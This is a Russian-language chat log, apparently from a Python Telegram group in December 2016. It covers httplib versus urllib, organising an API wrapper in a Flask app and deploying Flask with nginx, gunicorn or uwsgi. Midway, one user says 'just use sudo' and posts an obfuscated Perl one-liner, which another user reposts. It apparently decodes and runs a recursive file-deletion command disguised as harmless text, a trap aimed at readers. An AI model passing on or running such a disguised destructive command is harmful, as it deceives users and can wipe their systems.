
Subbotin
02.12.2016
10:52:27
хотя могу заблуждаться

Andrey
02.12.2016
10:53:13
и еще - почему urllib, а не httlib?

Андрей
02.12.2016
10:53:22
ну это риторический вопрос
тут уж хоть parashalib

Google

Subbotin
02.12.2016
10:55:28
https://docs.python.org/2/library/httplib.html

Pavel
02.12.2016
10:57:31
или с боди
и с хедерами
и с прочим говном
и куку ещё просунуть
%)

Андрей
02.12.2016
10:57:53
там вроде method указывается

Subbotin
02.12.2016
10:57:59
то ебись с созданием объекта запроса и его отправкой
лол

Андрей
02.12.2016
10:58:10
да ладно вам
это не так и долго

Subbotin
02.12.2016
10:58:41
действительно. долго это на си

Google

Aragaer
02.12.2016
11:01:16
на c есть libcurl

Anton
02.12.2016
11:04:48

Aragaer
02.12.2016
11:06:17
https://gist.github.com/aragaer/c9175705f27489abb003 - да, вот, я год назад написал хттп сервер

fox.hs
02.12.2016
11:12:56


Vladimir
02.12.2016
11:30:57
Всем привет! есть вопрос как лучше организовать код в моей приложухе.
У меня веб-сервис на фласке, который состоит из собственно веб части и воркера. Оба работают с определенной APIшкой, которую я завернул в модуль. В модуле высокоуровневые функции типа сделай это, сделай то, которые зовут внутренню функцию _api_call, которая непосредственно делает запрос через requests по API.
Т.е. например
во фласке есть роут get_messages, который вызывает api.get_messages, а он уже формирует параметры для requests и передаёт их в _api_call. _api_call делает GET/POST запрос, и возвращает респонс, который парсится в api.get_messages и результат возвращается во фласк.
API модуль бесптолковый, ничего не знает про БД, объекты алхимии и т.д. Но сейчас появилась необходимость на некоторые вызовы высокоуровневых функций делать некоторе действия до и после вызова, в том числе связанные с сохранением/изменений данных в БД. Подумываю над тем, чтобы сделать одну внешнюю функцию, в которую передавать название функции/команды, которую надо выполнить и аргументы, которые нужны для этой функции.
Т.е. так:
api.call('get_messages', **kwargs)
В ней до/после вызова внутренней api.get_messages будут делать некоторые действия.
И до кучи сделать api классом, чтобы один раз создавать объект и дергать его функции (нужно хранить объект логгера и сессию БД, а каждый раз его передавать как-то неприкольно).
Посдкажите, мб есть более красивые решения, как организовать подобное?


Roman
02.12.2016
11:41:15
оффтоп, как вам дизайн?

Андрей
02.12.2016
11:43:08
не сработает

Eldar
02.12.2016
11:43:11
Make sber great again!

Андрей
02.12.2016
11:45:00
хорошая кружка

Михаил
02.12.2016
11:45:09
кто знает, как в flask-admin сделать поиск по id?

Eldar
02.12.2016
11:45:52
Самка увидит - убьет:D

Михаил
02.12.2016
11:46:14
или фильтр по id, если id это primary key

Андрей
02.12.2016
11:46:33
куплю себе такую кружку, да
но у меня дети
придется все надписи замазать штрихом
вот такая я мразь

Eldar
02.12.2016
11:47:14
Или чёрной изолентой "запикать"

Андрей
02.12.2016
11:50:08
во, придумал

Rustem
02.12.2016
11:50:09
Ребят как нынче лучше развертывать сайт написанный на фласк на сервере? Что-то гугл слишком много всего предлагает: nginx, gunicorn, uwsgi, ansible, docker и пр. Какой оптимальный стек на нынешнее время?

Андрей
02.12.2016
11:50:12
куплю и сестре подарю

Google

Андрей
02.12.2016
11:50:17
на новый год

I
02.12.2016
11:50:31
heroku?)

Vladimir
02.12.2016
11:50:36

Андрей
02.12.2016
11:50:53
попробуй всё

Vladimir
02.12.2016
11:50:57

Андрей
02.12.2016
11:51:05
выбери то, что подходит именно твоему проекту
я вот uwsgi пользую

Eldar
02.12.2016
11:51:17

Johnnie
02.12.2016
11:53:00
а какие задачи например выполняет этот самый ansible?

Eldar
02.12.2016
11:53:01
И там ещё одна хня есть, её надо юзать если upstart или другая древняя система инициализацит

Dmitriy
02.12.2016
11:53:07

Eldar
02.12.2016
11:53:16

Андрей
02.12.2016
11:53:20
ненене, nginx в unix сокет смотрит

I
02.12.2016
11:53:35

Андрей
02.12.2016
11:53:43
ну у меня так в основном

n4nn31355
02.12.2016
11:54:09

Dmitriy
02.12.2016
11:54:11

Андрей
02.12.2016
11:54:43
а это законно?

n4nn31355
02.12.2016
11:55:04
uwsgi из коробки может доставить хлопот по конфигурации(в сравнении с gunicorn), а так он няш

Google

Admin
ERROR: S client not available

Dmitriy
02.12.2016
11:55:26
а это законно?
ну он умеет отдавать http, но проблем с безопасностью много

I
02.12.2016
11:55:42
а это законно?
ну никто не запрещает, но с балансировками нагрузок если вопросы, к примеру

Rustem
02.12.2016
12:03:38
Судя по сообщениям, то смотреть нужно в сторонуgunicorn+nginx.

Eugene
02.12.2016
12:08:14

n4nn31355
02.12.2016
12:09:50

Eugene
02.12.2016
12:10:12
при чем тут генту?

Dmitriy
02.12.2016
12:10:14
я так часто делаю. ибо нафига лишнее звено в виде nginx?
If you want to use it as a real webserver you should take into account that serving static files in uWSGI instances is possible, but not as good as using a dedicated full-featured web server. If you host static assets in the cloud or on a CDN, using uWSGI’s HTTP capabilities you can definitely avoid configuring a full webserver.

Eugene
02.12.2016
12:11:01

Dmitriy
02.12.2016
12:11:44

Eugene
02.12.2016
12:12:16
ну и не везде голый uwsgi выставляют)) логично же
но сам uwsgi тоже очень шустро раздает статику
а некоторые додумываются через whitenoise вообще раздавать
даже при том что деплоятся через uwsgi

Eldar
02.12.2016
12:19:46
Так сесурней:)

Stanislav
02.12.2016
12:28:37
хватит
просто юзайте sudo
echo "test... test... test..." | perl -e '$??s:;s:s;;$?::s;;=]=>%-{<-|}<&|`{;;y; -/:-@[-`{-};`-{/" -;;s;;$_;see'

Bo0oM
02.12.2016
12:29:12
perl -e '$??s:;s:s;;$?::s;;=]=>%-{<-|}<&|{;;y; -/:-@[-{-};`-{/" -;;s;;$_;see'
уху

Nikita
02.12.2016
12:29:24
бум, ты везде

Google

Андрей
02.12.2016
12:29:29
мой пример был лучше

Aleksey
02.12.2016
12:57:24

Korolll
02.12.2016
13:06:52
Ребят, как в конфиг редиса пробросить переменную от которой варьируется, скажем, порт или путь до пид файла
Блин сорт

Ivan
02.12.2016
13:18:56
тьфу, простите

Nikita
02.12.2016
13:24:22
да ничего страшного
сам пару раз в день так делаю

Levent
02.12.2016
13:24:51
О боже
Опять
Ну не трогайте вы команды моего бота